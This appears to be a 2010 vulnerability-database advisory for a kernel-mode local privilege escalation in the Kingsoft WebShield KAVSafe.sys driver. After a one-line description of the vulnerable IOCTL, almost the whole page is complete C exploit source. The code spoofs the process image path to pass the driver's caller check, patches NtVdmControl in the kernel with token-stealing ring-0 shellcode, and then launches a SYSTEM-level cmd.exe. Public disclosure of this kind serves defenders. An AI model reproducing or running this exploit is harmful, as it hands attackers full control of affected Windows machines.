Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:23942
HistoryMay 27, 2010 - 12:00 a.m.

Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Privilege Escalation Vulnerability

2010-05-2700:00:00
vulners.com
8

Kingsoft WebShield KAVSafe.sys <= 2010.4.14.609(2010.5.23) Kernel Mode Local Privilege
Escalation Vulnerability
VULNERABLE PRODUCTS
Kingsoft WebShield <= 3.5.1.2 (2010.5.23)

Signature Date: 2010-5-23 2:33:54

And

KAVSafe.sys <= 2010.4.14.609
Signature Date:2010-4-14 13:42:26

DETAILS:
Kavsafe.sys create a device called \Device\KAVSafe , and handles DeviceIoControl request
IoControlCode = 0x830020d4 , which can overwrite arbitrary kernel module data

EXPLOIT CODE:

#define IOCTL_HOTPATCH_KERNEL_MODULE CTL_CODE(0x8300 , 0x835 , METHOD_BUFFERED
,FILE_ANY_ACCESS)
typedef LONG (WINAPI *PNT_QUERY_INFORMATION_PROCESS)(
HANDLE ProcessHandle,
DWORD ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);

typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} STRING;
typedef STRING *PSTRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
typedef const UNICODE_STRING *PCUNICODE_STRING;
#define RTL_MAX_DRIVE_LETTERS 32
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001
typedef struct _CURDIR {
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory; // ProcessParameters
UNICODE_STRING DllPath; // ProcessParameters
UNICODE_STRING ImagePathName; // ProcessParameters
UNICODE_STRING CommandLine; // ProcessParameters
PVOID Environment; // NtAllocateVirtualMemory
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle; // ProcessParameters
UNICODE_STRING DesktopInfo; // ProcessParameters
UNICODE_STRING ShellInfo; // ProcessParameters
UNICODE_STRING RuntimeData; // ProcessParameters
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[ RTL_MAX_DRIVE_LETTERS ];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the
BOOLEAN ReadImageFileExecOptions; //
BOOLEAN BeingDebugged; //
BOOLEAN SpareBool; //
HANDLE Mutant; // INITIAL_PEB structure is also updated.
PVOID ImageBaseAddress;
PVOID Ldr;
struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters;
} PEB, *PPEB;
typedef LONG KPRIORITY;
typedef struct _PROCESS_BASIC_INFORMATION {
LONG ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
KPRIORITY BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} X_SYSTEM_MODULE_INFORMATION, *PX_SYSTEM_MODULE_INFORMATION;
typedef LONG (WINAPI *PNT_QUERY_SYSTEM_INFORMATION) (
LONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef LONG (WINAPI *PNT_VDM_CONTROL) (
ULONG Service,
PVOID ServiceData
);
VOID __declspec(naked) R0ShellCodeXP()
{
__asm
{
mov eax,0xffdff124
mov eax,[eax]
mov esi ,dword ptr[eax+0x220]
mov eax,esi
searchxp:
mov eax,dword ptr[eax+0x88]
sub eax,0x88
mov edx,dword ptr[eax+0x84]
cmp edx,4
jnz searchxp
mov eax,dword ptr[eax+0xc8]
mov dword ptr[esi + 0xc8] , eax
ret 8
}
}
VOID NopNop()
{
printf("nop!\n");
}

#include "malloc.h"
int main(int argc, char* argv[])
{

printf("KSWebShield KAVSafe.sys <= 2010,04,14,609\n"
"Kernel Mode Privilege Escalation Vulnerability Proof-of-Concept\n"
"2010-5-23\n"
"By Lincoin \n\nPress Enter");
HKEY hkey ;
WCHAR InstallPath[MAX_PATH];
DWORD datatype ;
DWORD datasize = MAX_PATH * sizeof(WCHAR);
ULONG oldlen ;
PVOID pOldBufferData = NULL ;

if (RegOpenKey(HKEY_LOCAL_MACHINE , "SOFTWARE\\Kingsoft\\KSWSVC", &hkey) ==
ERROR_SUCCESS)
{
if (RegQueryValueExW(hkey , L"ProgramPath" , NULL , &datatype , (LPBYTE)InstallPath ,
&datasize) != ERROR_SUCCESS)
{
RegCloseKey(hkey);
printf("KSWebShield not installed\n");
getchar();
return 0 ;
}

RegCloseKey(hkey);
}
else
{
printf("KSWebShield not installed\n");
getchar();
return 0 ;
}
wcscat(InstallPath , L"\\kavinst.exe");

PROCESS_BASIC_INFORMATION pbi ;

PNT_QUERY_INFORMATION_PROCESS pNtQueryInformationProcess ;
pNtQueryInformationProcess =
(PNT_QUERY_INFORMATION_PROCESS)GetProcAddress(GetModuleHandle("ntdll.dll" ) ,
"NtQueryInformationProcess");
pNtQueryInformationProcess(NtCurrentProcess() , 0 , &pbi , sizeof(pbi) , NULL);

PPEB peb ;

peb = (PPEB)pbi.PebBaseAddress;
oldlen = peb->ProcessParameters->ImagePathName.Length;
peb->ProcessParameters->ImagePathName.Length = wcslen(InstallPath) * sizeof(WCHAR);
pOldBufferData = malloc(peb->ProcessParameters->ImagePathName.Length);
RtlCopyMemory(pOldBufferData,peb->ProcessParameters->ImagePathName.Buffer ,
peb->ProcessParameters->ImagePathName.Length);
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer , InstallPath
,peb->ProcessParameters->ImagePathName.Length );
HANDLE hdev = CreateFile("\\\\.\\KAVSafe" ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING ,
0,
0);

if (hdev==INVALID_HANDLE_VALUE)
{
printf("cannot open device %u\n", GetLastError());
getchar();
return 0 ;
}
RtlCopyMemory(peb->ProcessParameters->ImagePathName.Buffer ,
pOldBufferData,peb->ProcessParameters->ImagePathName.Length);
peb->ProcessParameters->ImagePathName.Length = (USHORT)oldlen ;

PNT_QUERY_SYSTEM_INFORMATION pNtQuerySystemInformation ;
pNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") ,
"NtQuerySystemInformation");
X_SYSTEM_MODULE_INFORMATION sysmod ;
HMODULE KernelHandle ;

pNtQuerySystemInformation(0xb, &sysmod, sizeof(sysmod), NULL);
KernelHandle = LoadLibrary(strrchr(sysmod.Module[0].ImageName, '\\') + 1);
if (KernelHandle == 0 )
{
printf("cannot load ntoskrnl!\n");
getchar();
return 0 ;
}
PVOID pNtVdmControl = GetProcAddress(KernelHandle , "NtVdmControl");

if (pNtVdmControl == 0 )
{
printf("cannot find NtVdmControl!\n");
getchar();
return 0 ;
}
pNtVdmControl = (PVOID)((ULONG)pNtVdmControl - (ULONG)KernelHandle );

printf("NtVdmControl = %08x" , pNtVdmControl );
getchar();
ULONG ShellCodeSize = (ULONG)NopNop - (ULONG)R0ShellCodeXP;
ULONG pShellCode = (ULONG)R0ShellCodeXP;

PVOID Data = malloc(0x48 + ShellCodeSize);

CopyMemory((PVOID)((ULONG)Data + 0x48) , R0ShellCodeXP , ShellCodeSize);
CHAR ModuleName[68]= "ntoskrnl.exe" ;
RtlCopyMemory( Data , ModuleName , sizeof(ModuleName));
(ULONG)((ULONG)Data + 64) = (ULONG)pNtVdmControl;
(ULONG)((ULONG)Data + 68) = ShellCodeSize ;
ULONG btr ;
if (!DeviceIoControl(hdev ,
IOCTL_HOTPATCH_KERNEL_MODULE ,
Data ,
0x48 + ShellCodeSize ,
NULL ,
0,
&btr , 0
))
{
printf("cannot device io control!%u\n" , GetLastError());
getchar();
return 0;
}

CloseHandle(hdev);

PNT_VDM_CONTROL pR3NtVdmControl =
(PNT_VDM_CONTROL)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtVdmControl");
pR3NtVdmControl(0,0);
WinExec("cmd.exe" , SW_SHOW);
printf("OK!\n ");

getchar();

return 0;
}